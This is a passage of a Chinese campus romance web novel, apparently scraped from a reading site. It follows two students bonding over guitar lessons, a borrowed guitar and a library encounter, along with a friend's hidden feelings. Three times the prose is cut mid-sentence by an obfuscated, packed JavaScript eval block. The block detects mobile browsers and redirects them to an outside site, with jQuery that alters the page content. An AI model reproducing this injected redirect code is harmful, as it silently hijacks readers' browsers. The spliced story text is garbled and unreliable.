一瞬间,两人的距离顿时拉得很近,陈芙昭被这个突然的变故愣住,等回过神时,身后已经传来了他人撞到她的道歉声,但她现在却无暇顾及其他。 看着眼前的男生,她垂下眼,盯着他拉住自己的那双手。 陆屿时的手指细长,顺着他骨节分明的手往上看,陈芙昭看清了他腕骨处有一颗浅色的小痣。 她的脑海里骤然想起了什么,只是下一秒,对方见她已经站稳了,就很快松开了手。 “……今天这里人很多,还是当心一点吧。” 他有些尴尬地收回手,轻声叮嘱着她,陈芙昭听到他的声音,这才抬起头看了他一眼,愣愣点头,“好,谢谢你。” 说罢,两人都因为这突然的接触有些局促,一时也不知道还能说些什么。 好在陈芙昭的室友这时候正好过来找她,才结束了当下的局面。 - 说完再见,在离开前,她才发现陆屿时是一个人来的。 不知道为什么,她突然想起来之前高一的时候,她班里的的同桌因为看到自己暗恋的男生很长一段时间去食堂都是独自一人而担忧。 她担心他是不是遇到了什么事情,担心他是不是和朋友吵架,担心他一个人会不会孤单不开心。 陈芙昭当时听着其实不太能理解,一个人究竟要拥有怎样的感情,能在毫不相干的关系下,依旧对一个在对方眼里称得上陌生人关系的家伙操心? 可此时此刻,她看着淹没在人群里,独来独往离开的陆屿时,前几次在超市或者食堂碰见他,总能看见许知言和他一起,想到这,她的心里居然也忍不住泛起相似的的牵挂。 原来在意一个人的心思都是一样的。 是紧张的、担心的,甚至是让人无法理解的。 她也终于懂得了当时高中同桌的心情。 - 在吉他社报完名后,后面几天经过了一些筛选和面试,陈芙昭和陆屿时都成功加入了这个社团。 一周后,第一次参加社团活动就是学习吉他,社团在操场旁边的艺术楼里,里面的环境很干净,而且乐器也很齐全。 社长是个穿搭很酷的学姐,叫蒋楠。 蒋楠先大致把招新进来的社员区分开,有吉他基础的和零基础的分别为两队,让每个社员各自自由找人组队,由有基础的教没基础的,这样教学起来会比一个人在讲台上教所有零基础的人效率高很多。 陈芙昭自然很显然是属于零基础里的,而陆屿时弹吉他的水平却不像他之前说的那样只学了一点,他弹吉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397918|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作很老练,一看就是老手。 眼看蒋楠说完,周围的一些人都蠢蠢欲动,陈芙昭在这里除了陆屿时之外不认识任何人,而且正好他还是个弹吉他的高手,那就更没有不选择他的理由了。 于是她很快在手机上给陆屿时发去消息。 小岛:陆屿时你能不能和我一组啊?我在这里只认识你欸,你放心我保证我一定会好好学的! 消息一发送,陆屿时的手机就震动了一下,他打开手机时,就发现陈芙昭消息底下还附带了一个看着有点可怜的,写着拜托拜托四个字的表情包。 见状,他下意识抬起头,发现坐在对面的女生此时也双手合十,和表情包如出一辙般期待地看着自己。 她乌黑的葡萄眼亮得吓人,让人似乎都没有办法开口轻易拒绝。 所以很快,陈芙昭就收到了他的消息。 1:好。 虽然是简单的一个字,但见他答应,她立刻整个人都雀跃起来,趁着周围的人都忙着组队,悄悄绕过三三两两的人跑到了他的身边。 站在他的面前,她眼睛一弯,像个漂亮的月牙,对他催道:“那我们快点开始练习吧!” 陆屿时没想到她会那么着急,但也很快应了下来。 “好,那我先调一下吉他的音准,你也可以看着学一下,这一步是最开始要弄好的,不然后面弹起来音准不对的话会很奇怪。” 说着,陆屿时带着她找了教室里比较安静的角落,拿过手边的一个吉他坐下,做出弹吉他的姿势,把调音器夹在琴头上,大拇指挨个扫过琴弦,按照调音器上的提示调整声音。 边调他还边教着陈芙昭怎么看、用调音器和如何拧紧拧松琴弦。 “不过调音的时候要注意慢慢来,不要一下子拧太紧,不然琴弦很容易会崩断,不放心很容易受伤,而且到时候换新的还要重新调。” 一到他专业的地方,陆屿时的话反而会变得多不少。 陈芙昭坐在他的身边,通通都很仔细地听着看着,时不时还回应他几声。 午后的阳光照进屋内,轻柔地落在他们的身上,陆屿时调完音后,然后开始着手教她抱住吉他的姿势,和具体哪根手放在哪根琴弦上,教她正确的指法。 陈芙昭低下头看着自己怀里的吉他,暖色的光晕拂在她认真的侧脸上,她又长又密的睫毛轻颤着,有模有样地学着陆屿时左手按弦的动作,一手按着琴弦,另一只手用指腹轻轻扫弦。 陆屿时看着她坐在光里,无比专注的模样,时不时还因为手指按不住琴弦走音跑调,而懊恼地微蹙着眉。 她一心都投在了学吉他上,甚至没有注意到面前男生在默默地看着自己。 其实来这个社团的有很多人都是因为一时兴起,又或者是为了学分,所以此时教室里依旧有人悄悄玩起了手机,但他看得出来陈芙昭不是,她是真心想学,也在很认真地学。 想到这,他收回自己的目光,语气都不自觉地变柔和:“别着急,慢慢来,你才刚开始学,按不住漏音很正常。” 5. 春日岛屿 再一次在社团学完吉他后,陈芙昭看着自己手上因为按琴弦而勒出来的满手红印,这几次学着一些基本的旋律,她几乎每次结束手上都火辣辣地疼。 果然学一个乐器也没那么容易,她揉了揉自己的手,在心里感叹着。 正想着,教室的门被人从外面打开,陆屿时走了进来,他手里拿着一罐热牛奶,递给她问着:“还是很疼吗?热敷一次可能会稍微好一点。” 陈芙昭抬起头,盯着他手里的牛奶,有些意外,但还是很快接过道:“谢谢啊,你刚才出去就是去买这个了啊。” “嗯,我看你刚才练习的时候手有点不敢摁下去。”他在旁边坐下,看着她手上的印子很深,劝道:“不用太着急,可以适当休息一下。” 这几天里,陆屿时发现了陈芙昭性格上的另外一面,虽然平时看着她性格大大咧咧的,但是一到学吉他上,她就会表露出一股执拗,就好像不学会就不行,会和自己暗自较劲。 他能注意到,一直待在社团里的蒋楠自然也注意到了,她其实很早就注意到了他们俩,一开始她还有点好奇这两人是什么关系,但是后面发现女生一门心思都只在学吉他上。 难得看到那么认真喜欢学吉他的人,她也走过来劝慰道:“吉他都是要慢慢学的,不要太着急了。你是之后有什么演出吗?” 她那股冲劲很容易让人误会是不是学会之后有什么事情要忙,所以才那么急。 见蒋楠过来,陈芙昭和陆屿时都站起来和她打了个招呼,面对她的问题,陈芙昭不好意思地摆了摆手,解释道:“没有,我就是觉得机会难得,每周也就在这里有时间和乐器能学一下,所以不想浪费任何时间。” “哦原来是这样,但是光靠在这的一两个小时太短了,如果你真心很想学会的话,最好私底下也可以自己买个吉他或者借个练一练,毕竟熟能生巧嘛。” 听着她的话,其实陈芙昭也不是没有想过,但是要在宿舍里练习的话,她担心会吵到室友,所以还是否决了这个想法,而且她身边认识的人里也没人有吉他。 “我也有想过,但是感觉在宿舍里练不太合适。”她说出自己的顾虑,这毕竟是她自己的爱好,没道理要打扰到其他人。 蒋楠听着点了点头,觉得她说的也对,于是她想了想,又提议道:“其实宿舍里不方便的话,你可以去我们教学楼的露天天台上练习我之前期末考的时候就去过那里,那边一般没什么人,所以也吵不到谁,不过吉他的话……” 说到吉他,她看了眼自己社团里的乐器,考虑着要不要借自己的吉他给她。 只是她还没来得及说出后面的话,就被站在边上一直没说话的陆屿时给抢先了一步,“我宿舍有吉他,可以借给你。” “你宿舍还有吉他啊?”陈芙昭没想到他会开口,意外道。 “嗯,之前一直会去一些地方演出,所以一直都备着把吉他。”他之前没听陈芙昭说过这些事情,所以他也没有说过。 “哦原来是这样。”她豁然开朗地点了点头,心想他们玩音乐的人大概就都是这样的,只是她还是有些担心,“那会不会有点太麻烦了,你借给我了,到时候要是有急用怎么办?” “不要紧,反正现在放在柜子里也是落灰。” 他话都这样说,那陈芙昭也就没有什么负担了,就答应了。 这样一来,她担心的事情好像就都解决了,于是她也转过身冲着蒋楠道谢着,“也谢谢你啊学姐。” “不用,小事情,不过你要是有不懂的找不到人,也可以来问我。”说着,蒋楠若有所思地看了陆屿时一眼,有些意味深长。 陈芙昭顺着她的目光看过去,有些困惑,但还是礼貌地应着蒋楠的话,“好的学姐。” - 离开吉他社后,她跟着陆屿时一起朝着他的宿舍楼那边走,打算去拿吉他。 走在林荫道边,陈芙昭想起方才蒋楠说的话,有些好奇地问他:“你是和蒋学姐认识吗?怎么感觉你们好像认识。” “不算认识,只是之前在一个地方演出过的时候碰到过。” “这样啊,那我怎么感觉你们之间气氛怪怪的?” “可能是因为许知言吧。” 听到许知言的名字,陈芙昭更不解道:“和许知言有什么关系吗?” “他最近在追蒋楠。”说到这个,陆屿时也有点头疼,许知言那家伙追人也是大张旗鼓,弄得不少人都知道,“应该知道我是许知言的室友,多少有点尴尬。” “啊?”陈芙昭听到这个信息量有些诧异地张了张嘴,有些不知道说什么。 她不清楚孟澜青知不知道这件事情,她和他们都不是一个系的,知道的事情自然是少之又少。 但陆屿时和许知言也都是医学系的,他们一个系的,这种事情恐怕很难不传到孟澜青的耳朵里。 虽然她知道这肯定是迟早的事情,毕竟像许知言这样的人,不谈恋爱才奇怪。 陈芙昭正在心里腹诽着,陆屿时注意到她的反应,问着:“怎么了?” “哦没事。”她尴尬地回过神,摇了摇头道:“我只是之前好像没有听澜青提起过,所以不知道这件事情。” “他这件事情在我们学院挺多人知道的,不过没传到你们系去,也算是好事,至少没那么丢人。” 陆屿时没办法理解许知言这人到底是怎么想的,追人追得人尽皆知,他自我感觉倒是依旧很好。 “很正常,他高中的时候就这样。”对此,陈芙昭倒是见怪不怪,只是听陆屿时这样说,那孟澜青多半是知道了。 “高中?你们之前就认识?你也是苏外毕业的吗?“见她毫不意外的样子,他一下子抓到重点问着。 被他突然问到高中,她抿了抿唇,心里有些五味杂陈,她努力按下那些乱七八糟的情绪,装出很自然的样子,干笑了声道:“嗯对,之前我们都是一个高中的。” “那还挺巧的,我也是苏外毕业的。”陆屿时没有注意到她的反常,只觉得很巧。 “是吗?那……的确是挺巧的。”她垂下眼,盯着自己的鞋尖,勉强笑了下。 - 到男生宿舍楼下,陆屿时让她在这里等自己,他上去把吉他拿下来,陈芙昭心不在焉地“嗯”了声。 然后,陆屿时朝着楼上走,打开宿舍门的时候许知言他们几个室友都在。 “哟,回来了啊?”许知言正在手机上打着游戏,随口和他打着招呼,“你最近都干吗呢?忙得宿舍都不见人影。” “在吉他社,不是和你说过了。”他走到自己的床边,打开旁边的柜子,边找着吉他边回答着。 “要我说你那弹吉他的技术就没必要报好吧,不过蒋楠是不是这个社团的社长来着?你……我靠又输了。”他说着话,刚要问什么,就看着手机屏幕上露出失败的标识,有些无语地骂了声。 放下手机,他刚要问他在捣鼓什么,结果抬头就看见他从自己柜子里拿出了那把放在黑色吉他包里的吉他。 他不明所以地看着他,然后眼看他背上吉他包就朝外面走,许知言一脸震惊地连忙叫住他:“不是你干吗啊?要拿你这把吉他哪里去啊?” “借人。” “借人?!借谁啊我去,你平日里不是宝贝死你这把吉他了,我碰一下都不行,现在居然肯借人了?” 许知言看他一脸正经的样子不像是开玩笑,于是更加难以置信,“什么情况啊陆屿时,你很不对劲啊。” “你别瞎想行吗?”他停住脚步转过身,看着对方一脸揶揄的表情,无语道:“我不借给你吉他是什么原因你自己不知道?” 一说到这,许知言马上就有点心虚了,他不好意思地挠了挠鼻子,“嗐不就之前弄坏了你一个贝斯吗……我又不是故意的,后来不都给你修好了是不是。” “所以我不会再借给你任何音乐相关的东西了。”他懒得和他继续废话,怕楼下陈芙昭等久了,说完就毫不留情地走了。 “啧,怎么那么小气呢?”看着他走,许知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397919|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言故作不满地撇了撇嘴,但想了想,他还是觉得有点奇怪,自言自语着,“不过也不对啊,他背上那个吉他不是很重要的人送的吗?平日里看都看不到的,这家伙到底要借给谁啊?” 越想越不对劲,他新奇地站起身,立刻打算悄悄跟在陆屿时后面,去一探究竟。 - 男生宿舍楼下,陆屿时从楼梯上走下来,把背上的吉他递给了她,“给,有点沉,你看好不好拿。” “哦好,可以。”陈芙昭小心地接过,确定拿好了,对他保证道:“谢谢你啊陆屿时,你放心我会好好保管的,一定不会给你弄坏的。” 陆屿时看着她一脸郑重其事的样子,感觉有点搞笑,“不用那么紧张,你好好练就行。” “嗯好,我一定会的,那我先回去了。”她背着手里沉甸甸的吉他,心里却还在想着刚才的事情,不知道该拿怎么样的情绪来面对面前这个人,只想道谢后立刻逃离。 “好。” 陆屿时没多想,目送着陈芙昭的背影走远,才转过身打算回宿舍,结果一转头,就看见许知言像个“狗仔”一样,趴在栏杆上盯着自己。 陆屿时:“?” 他一脸不理解地看着许知言,对方在接收到他目光之后,立马站直了身体,朝着他这边走来,边走还边装出一副痛心疾首的模样,“唉陆屿时,我真的对你很失望,你就这样重色亲友?还不要紧?你那把吉他我要是手碰一下你都能杀了我吧!而且我没看错吧,那不是陈芙昭吗?你们什么时候那么熟了?” “你别胡说了行吗?陈芙昭和我现在在一个社团,我在教她弹吉他而已。”陆屿时听到他的一大堆话,本来懒得搭理,但是又担心这家伙出去乱说,只好还是解释了几句。 “是吗?想不到陈芙昭表面看着挺文静的,居然还对吉他感兴趣。”许知言不知道这件事,倒是也有点出乎意料,但很快,他又想起什么,话锋一转:“但也不用把你的吉他都借出去吧?蒋楠那边没吉他能用了吗?”许知言露出不相信的神色,显然觉得他的这套说辞很难说服自己。 “是我答应了要教她的,那教就要教到底,而且我想她应该也不会像你一样。” 他的话意有所指,让许知言有些语塞:“欸你老提这个就没意思了啊。不过你真的对人家没意思,只是单纯想教她吉他?” “嗯。”他神色淡淡地点了点头,不像是说谎。 看他这样,许知言这才有点半信半疑,“行吧,你不喜欢人家就行,要不然你和虎子就是情敌了。” “什么?”他的话说的没头没尾的,让他不禁蹙了下眉。 “哦你不知道啊,虎子前几天和我说他喜欢陈芙昭呢。”想到这个,许知言也觉得虎子不靠谱,“你说说看,才见了一次就喜欢上人家了,不过仔细想想也不能怪他吧,陈芙昭的确长得好,性格看上去也很好。” 他最后的这两句也确实是实话,连陆屿时都没办法反驳。 之前在酒馆的时候,他在中场休息的时候,就看到有好几个不同的男生上去和她要微信,不过都被陈芙昭礼貌地拒绝了。 漂亮的人走在哪里都是亮点。 他想起怪不得那天虎子一定要让他们几个加微信,原来是醉翁之意不在酒。 而至于许知言说的性格,这些天的接触下来,陆屿时也承认,她性格很好,对谁都是笑盈盈的,而且做事都很有自己的想法,但也不会让人为难。 这样想来,像陈芙昭这样的人会被人喜欢,那真是再正常不过的事情了。 只是他自己都没意识到,在不知不觉中的一瞬间,他脑子里闪过的似乎都是她的优点。 - “行了不说这个了,既然你放心把吉他交给她,那就这样吧。”许知言见他真没那意思,也就没了八卦的性质,他摆了摆手,想起刚才在宿舍要和陆屿时说的事情,“对了,周五晚上老地方,老胡叫我们去演出,这几天时间排练一下,这次演出钱还不少呢。” “好,知道了。” 6. 春日岛屿 周五中午,陈芙昭下了课,和几个室友从食堂打包了饭后回了寝室。 她这几天都在忙着专业课的作业,和孟澜青也好几天没聊天了,前几天聊天还是谈到许知言他们演出的事情,除此以外,孟澜青什么都没有再提,见她这样,陈芙昭犹豫着,但到底还是没有主动去问她。 对于那个人,似乎在好几年前就变成了孟澜青的一道伤疤,没有不揭开的权利,因为揭开还是再合上,都是无辜的痛楚。 …… 吃完饭后,陈芙昭的室友都打算先休息,她不想吵到她们,于是决定去学校的图书馆学习。 装好包里的东西来到图书馆,里头已经有不少的学生,大家都安静地看着书,静悄悄的,只有书本轻轻翻页的声音。 她就近找了个位置坐下来,开始赶作业。 - 等完成手里作业的时候,时间已经到下午了,陈芙昭动了动酸楚的脖子,忙完作业她才终于有空好好环顾一下四周。 江大的图书馆面积很大,一共有三层,书架柜子上都摆放着各种类型的书籍,分类明确又整齐,让需要找书的学生能很方便找到自己想要的书籍。 在之前苏市上高中的时候,有返校回来看老师的学哥学姐,他们里头就有在江大读书的,常听他们提起过自己学校的图书馆,说那里面的书特别多,应有尽有,就没有找不到的书。 陈芙昭当时听了就很向往,她很喜欢读一些小说和散文集,但有些书在苏市的图书馆里很稀少,总是会被借出去后就缺货了,所以她好几次都扑了空。 所以面对这个硕大的图书馆,她不免想好好逛一逛,刚开学那会太忙有各种事情,她今天还是第一次来。 想着她就立刻收拾好了自己的东西,从面前这层逛了起来。 逛到一半,她走到了悬疑小说类的书架边,想起之前在高中的时候有本自己很想看的推理小说总是断货,导致她从来没读完过那本书。 不知道能不能在这里借到,陈芙昭心里想着,开始在那一大类里的书里仔仔细细地找了起来。 循着那本书走到最后面的书架边,她终于在倒数第二本里找到了自己想要的书,见此她眼前一亮,立刻抬手把那本书拿了下来。 只是书被拿开后,在那条空出来的缝隙里,顺着背后的窗户透进来的阳光,她和书架对面的人意外地目光对视上。 看清对面的人,两人皆是一愣,陆屿时拿着旁边书的动作也显然一顿,陈芙昭也没想到在这里居然还能遇到他,有些惊喜。 而且很巧的是,他们两个人正好挑中的书是同一个书架上的前后两本。 陈芙昭看着他手里的书,轻声开口,“这么巧啊,你也在图书馆。” “嗯,你也来看书?” “哦不是,我是过来弄设计作业的,不过弄好了,就想来这里逛一下。”陈芙昭说着,晃了晃自己手里的书,“你也喜欢看悬疑小说啊,那看来我和你的兴趣爱好还挺相似的。” “嗯,确实是。”他看了看她没有否认,才继续道:“你手里这本的剧情挺好看的。” “我知道,我高中的时候看过一半但没看完。不过都有点久远了,我估计要全部重新看一遍了。” 想到这,她透过边上的楼梯看着楼下,问着他:“那你要在这里面看吗?还是打算借走,要是借走的话我们可以正好一起下去。” 面对她的提议,陆屿时点头道:“好,走吧,我正好也打算要下去了。” 说着,两人一起并肩下楼,到最前面登记借了各自手上的书,然后走出了馆内。 现在外面已经是下午四点了,秋天的夜晚总是来得很早,太阳即将落下地平线,橘黄色的夕阳落在他们两人的身上。 站在图书馆门口,陈芙昭看着他,问道:“你手里拿的这本书我之前经常在网上刷到,据说很好看。你要是看完了能不能和我说一下啊?要是好看的话,我下次就去借你这本看。 “可以。”这些日子里陆屿时和陈芙昭熟悉了不少,何况这件事情对他来说就是件顺手的事情,所以就答应了下来,但很快他又想到什么,补充道:“不过……我觉得好看的,未必你也会这么觉得。” “那没事啊,反正本来就挺想看这本的,有你的反馈就更好了。”陈芙昭摆摆手,没太在意他这话。 “你……是很喜欢看悬疑小说吗?”看方才她一提到自己手上的小说,乌黑的眼睛就一亮,陆屿时忍不住问着。 闻言,她连点点头,说道:“对啊,我高中的时候就很喜欢看,那时候压力大,就想找个东西解压一下,结果第一次在图书馆看到这个类型的小说后就一发不可收拾了。” “那你这个解压方式还挺独特的。”他没想到她喜欢悬疑小说的原因是这个,不免有些被逗笑。 “那你呢,你是因为什么喜欢看悬疑小说的啊?”她盯着陆屿时微微扬起一瞬间的唇角,觉得他们之间的距离好像真的在拉近,她能看见有些鲜活的他了,想到这,她心情也难得地好,顺势好奇地问他。 只是,被问到这个问题的男生却突然沉默了,他像是想到了什么,眼底那一抹本就不易察觉的笑意也彻底消失。 “……没什么,就是觉得剧情挺有意思的。” 他做出一副自然的模样,语气和刚才没什么差别地回答着,似乎让人看不出一点破绽。 可陈芙昭却敏锐地注意到了,她感觉到自己这个话题似乎问得让他不太开心,虽然不知道原因。 想着,她抿了抿唇,装作不经意地扯开话题,“哦对了,我听澜青说你们今天又要去酒馆演出啊。” “嗯对,你们要来吗?”见她说起别的,陆屿时点点头,跟着她的话问着。 “我今天要上晚自习,应该是去不了了,不过不知道澜青去不去。”说到这个,她叹了声气,觉得有些可惜。 其实如果要是没有课的话,陈芙昭还是很想去的,她其实很喜欢清吧酒馆里的氛围,感觉在那里吃点东西喝喝清酒,能让人心情放松很多。 只是这阵子每天的课都很满,她估计都会很忙了,抽不出什么空来,甚至有的时候就连吉他社都没时间去,只能和蒋楠请假。 “哦是这样,你们系的专业课很忙吧,我看你今天看着有点累。” 其实从刚开始在图书馆遇到陈芙昭的时候他就注意到了她眼下的一片乌青,猜测到她可能没休息好。 但是就算陈芙昭最近很忙,她却也依旧没有停下练习吉他的进度,有的时候她遇到弄不太懂的旋律还会在手机上问他。 “要是学业繁重的话吉他的事情可以先放一放,反正我这阵子应该都用不着那把吉他,放在你那边,等你有时间了再练好了。” 他说着,陈芙昭一愣,下意识地“啊”了一声,“你怎么知道我最近很忙啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397920|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你眼底下的黑眼圈有点重。”陆屿时看着她,用手隔空指了指她的眼下。 “什么,真的吗?”闻言,她赶紧拿出手机,打开相机的功能,接着外头的光仰头照了照,发现还真如他说的那样。 见状,她有些尴尬地放下手机,满脸的懊恼,最近实在是太忙了,她一头扎在自己的专业课作业里,实在是无暇顾及。 一想到刚才自己就顶着这个大黑眼圈和陆屿时说话,她就觉得真是狼狈死了。 而身边的人见她一副生无可恋的模样,倒是不明白她是什么了,还在不解地追问道:“怎么了吗?” “哈哈哈……没事。”陈芙昭收起手机,干笑了两声后,只想赶紧逃离这里,“对了我等会还有事情,就先走了,提前祝你们的演出顺利。” 话落,她几乎就落荒而逃,甚至都没有给陆屿时说话的机会。 - 一路小跑到宿舍门口的时候,太阳已经彻底落山了,天已经渐渐黑了下来,外边吹来一阵凉风,让她忍不住打了个冷战。 陈芙昭拢了拢身上的外套,回到宿舍,一脸泄气地坐在自己位置上照着镜子。 早知道今天会遇到他,自己昨天晚上就早点睡了。 这副憔悴的样子被陆屿时看到,她真是觉得自己的形象全无了。 她沉默地盯镜子里的自己,惹得旁边刚起床的室友不明所以,“芙昭,你干吗呢?从进来开始就一直在座位上一动不动的。” “在想怎么样能快速让我的黑眼圈下去。”她用力揉了揉自己的下眼睑,苦恼道。 “啊?你的黑眼圈很重吗?”说着旁边的室友林嘉棠走到她的旁边,细细看着她的脸好一会,才得出结论:“我觉得还好吧,不是很明显啊。” 她说着这话,陈芙昭抬头便看着她眼下和自己大差不差的黑眼圈,无奈地笑了声,把手里的镜子转过来,上面映出林嘉棠的脸,说道:“你先看看自己的吧。” “我去!学服装设计果然使人面容憔悴!”林嘉棠摸了摸自己的脸,哀嚎着。 她们手上的作业是服装学老师布置下来的素描画,主要是临摹一些书上的服装造型。 但那些衣服的构造都太复杂了,而且很多小细节看着简单,但真要画出来却很难,她们一整个宿舍几乎每天大晚上都在搞这个,不长黑眼圈才奇怪。 “行了别嚎了,昨天交上去的作业老师说还要修改,已经被打下来了,快看班群里吧。” 正当林嘉棠吐槽之余,手机上已经弹来了一个噩耗。 “啊,救命啊!!!” 听着她的崩溃,陈芙昭这下也没空研究什么黑眼圈不黑眼圈了,只好赶紧从包里把作业要用的东西都拿出来,打开手机继续开始忙活。 - 这样一忙就又是一两个小时,改完作业又要去上晚自习,她真的感觉自己都要虚脱了,上课前,她疲惫地坐在阶梯教室里,用手机发了条朋友圈。 她拍了一张教室的照片,还有一张黑眼圈都要掉到地上的表情包照片,配文是一个双手抱拳的表情。 很快,这条朋友圈一发出去,她身边几个室友刷到后,也纷纷在下面清一色地评论了个一样的表情,和走队形似的。 看到她们评论的消息,陈芙昭忍不住笑了下。 但在下一秒,她手机屏幕上骤然弹出了一条消息。 1:还在上课吗? 7. 春日岛屿 陈芙昭有些意外对方居然会给自己主动发消息。 小岛:对啊,一堆写不完的作业。 她在手机上打着字,刚发送出去这条消息,就看见对面发了一个视频过来,陈芙昭把手机调了静音点开,发现是他拍摄的酒馆现场的演出。 各种颜色的灯光在昏暗的环境下来回变化闪烁,台上的人跳着舞,台下更是坐满了人,有人在喝酒比划,有人似乎是猜骰子输了,正在地上做着俯卧撑,看着都特别热闹。 她虽然听不到视频里的音乐,但是也不难看出来现场的气氛一定特别嗨。 再看看自己身处在这死气沉沉的自习室,陈芙昭顿时觉得落差感太大了。 小岛:看着好嗨,嫉妒你!有人能来帮我上晚自习的课吗? 1:是很嗨,今天是周五,所以晚上人特别多。 小岛:你们已经演出完了吗?不然怎么还有空给我拍个视频看。 1:还没有,要等一会才开始。 小岛:好吧,要是我也能在现场玩就好了。 1:我可以给你录点现场的视频,你要吗? 大概是看她真的很想去现场,陆屿时在手机上问着她。 既然对方都开口了,陈芙昭自然也没有拒绝的理由,立刻就点头答应。 小岛:可以呀可以呀,你不觉得麻烦就行,对了那你等会的演出也能给我录视频吗? 她想起之前在台上看看他打架子鼓的样子,很帅很酷,比起其他人的演出,她倒是更想看这个。 消息发出去后,陆屿时没有马上回。 过了好一会,不知道他干吗去了,正当陈芙昭以为他是不是已经上台表演了,对方才发来一条消息。 1:可以,我刚才去找了个朋友,他等会会帮我录,等我下场了就发给你。 陈芙昭没想到他会专门去找人,就为了给自己录个视频,顿时唇角一勾,心情好了不少,边笑着边回了两个“好呀好呀”。 “芙昭,你和谁聊天呢?笑成这样。”林嘉棠坐在她的边上,看她笑得很开心,好奇地凑过来。 闻言,她立刻关掉手机,讪笑道:“啊没有谁啊……” “真假的啊?你刚才那笑的,要不是知道你是单身,我都要怀疑你是不是在背着我们谈恋爱了。” “你、你别胡说好吧,好了老师来点名了,别说话了。”陈芙昭被她问得心虚,说的话都结巴了一下。 但好在门口的老师已经走了进来,才让她不至于露馅。 - 上课到一半休息的时候,陈芙昭手机上收到了来自孟澜青的短信。 小孟:你还在上课呢。 小岛:是啊,就是如此可怜,你在干吗呢? 小孟:在吃饭呢。 小岛:那么晚才吃啊?我还以为你会去看许知言他们的演出。 提到许知言,对面沉默了一分钟,最后很简单地回了几个字。 小孟:不感兴趣。 小岛:?你是孟澜青吗?发个语音过来看看。 陈芙昭看着这聊天框上面的内容,觉得太阳从西边出来了,这完全不像是平时的孟澜青能说出来的话。 而在食堂吃饭的孟澜青,看到她发的这个消息,满脸无语地回了她六个省略号。 看她这样,陈芙昭却敏锐地察觉到了不对劲,赶快问着她。 小岛:怎么了?是出什么事情了吗?你没事吧? 小孟:没有,你别多想啦,我只是懒得去而已,好了,不说了,我继续吃饭了啊。 小岛:好吧,我又要上课了,你有事一定要和我说哦。 …… 看着陈芙昭关心自己的消息,坐在食堂吃饭的孟澜青回了个“好”后才退出了和她的对话框,手指却下意识地再次点进了许知言的聊天框。 手机屏幕上赫然亮着一行长方形白色聊天框的字,来自三个小时前。 xzy:今天有演出,你要不要来玩?你未来嫂子今天也在,带你见见她啊。 孟澜青没有回那条消息,她很清楚许知言嘴边说的人是谁,就是越清楚,她才更清醒。 她咬着唇,不明白许知言到底为什么那么执着于把自己介绍给他认识的所有人。 妹妹吗?可是他们之间又到底算哪门子的哥哥妹妹。 从高一一次偶然碰见他逃课,结果被老师抓住误会一起挨批,再到后来的高三最后半年,她甚至没有成为过许知言的朋友,就先变成了他的妹妹。 她有的时候真的很不明白,许知言是很缺妹妹吗?不然为什么从她借住在许家那天起,他就说会把自己当作他的亲妹妹来看待,因为他,孟澜青的妈妈和许知言的爸爸倒是很欣慰,甚至还想给他们认个干亲。 可是她明明一点都不想当他的妹妹。 …… 他们学校的广播台在下课间隙放起了音乐,今天放的是杨千嬅的《野孩子》。 此刻食堂已经过了饭点,周围空荡荡的,除了各个窗口的打菜阿姨外就没什么人,她一个人沉默地坐在那里,手边买的晚饭早就已经凉透。 孟澜青的脸色平静得像是事不关己,直到手机屏幕彻底熄屏,她的嘴里才后知后觉地泛起一股腥味。 外头的歌声动人心弦,轻轻落在她的耳边。 “……明知/爱这种男孩子/也许只能如此……” - 上完晚自习已经很晚了,陈芙昭刚回到宿舍坐下,她还在想着刚才和孟澜青的聊天。 她还是觉得一定是发生了什么事情,但是方才问对方又不肯说,所以一整个晚自习都有些心不在焉的。 于是,她有点担心孟澜青,为了让自己放心,决定给她打个电话过去。 电话忙音“嘟嘟”了几声才被接通,电话里很快就传来孟澜青犯困的声音,“喂,干吗啊,我都要睡着了,哪有这么晚给人打电话的。” 听到她这么说,陈芙昭明显一愣,“你真没事吧?” “没有啊,我就是今天上完课困了,所以懒得出学校了,你下课了啊……” “对啊,我刚下课呢。” “辛苦死了,那你也快点收拾了睡觉吧,放心吧,我好得很呢,我要睡啦先挂啦。” 电话对面的声音听起来好像是真的很困,看她好像真的没什么事情的样子,陈芙昭也不免松了口气,和她说了句“晚安”后才挂断了电话。 难道真是我多想了吗?陈芙昭看着自己的手机,在心里念叨着。 下一秒,她的手机上就有新的微信消息弹出来。 她点开,发现是陆屿时的。 从加上好友到现在,她都没有给他任何备注,所以屏幕上跳出来的消息前缀还是他的网名。 1:下课了吗? 小岛:刚到宿舍。 1:好,我还担心你睡了,你要看的 